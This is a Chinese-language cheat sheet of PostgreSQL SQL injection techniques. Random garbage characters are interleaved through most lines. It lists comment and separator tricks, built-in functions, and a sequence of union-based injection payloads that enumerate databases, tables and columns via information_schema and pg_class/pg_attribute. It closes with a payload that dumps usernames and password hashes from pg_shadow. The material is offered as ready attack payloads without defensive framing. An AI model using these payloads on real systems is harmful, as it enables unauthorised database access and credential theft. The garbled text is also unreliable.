结合了MSSQL MySQL Oracle的一些特点
) ]+ [: L# [ M# A" T9 a支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/& [: |5 Q0 C4 A2 h1 z: b' q- i' ?
连接符: %20 , + , /**/ 内置函数:
! G5 p2 ~4 l+ f. tcurrent_database() //当前数据库名
/ q6 U3 V; `5 Asession_user //会话用户7 X j0 ? V( V" s$ ?" v
current_user //当前数据库用户5 b, S" y, B/ S# ^, s/ T9 a9 V
user //当前用户
* P3 M& P; o0 d: [3 _% V! ?2 |% Zversion() //数据库版本 Union注射:
8 x% R+ y7 R a4 b8 b; S q; [order by n–1 A/ l, A* B; x
and 1=2 union select null,null,null–9 V6 l) i J0 q" Q
and 1=2 union select ‘beach’,null,null–
+ T$ {0 {# Z3 B; G! Tand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
( G6 ]+ J7 R' U8 v: b4 T7 O/ M% Ugroup_concat(table_name)9 Q/ R. h7 P4 ^' y. C
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–/ g ^% H) i. q/ @
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
8 b. Q4 I3 r; s( O7 C n u4 S(老版本)9 C/ v3 I! C4 }( t6 @" c- w! A
pg_class.oid对应pg_attribute.attrelid
& l$ k" V u% Vpg_class.relname表名
# l5 p8 B5 u0 a2 v' x, Upg_attribute.attname字段名 select relname from pg_class获取表名$ ]: Y# O, p% {6 }8 q/ ?# j
select oid from pg_class where 条件 获取参数
$ c M) z5 U5 G8 F2 o6 Bselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:- a, l, a) x; |# ?0 O
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表1 T$ u0 w$ K. ~
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
+ @ m/ L& T1 I" ~ v3 t5 W# p由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
+ E1 R% A+ ^2 R( B======================================================================1 J2 z! k0 x3 X- b$ \
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
- P: z" u! r+ F$ n2 R4 oand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |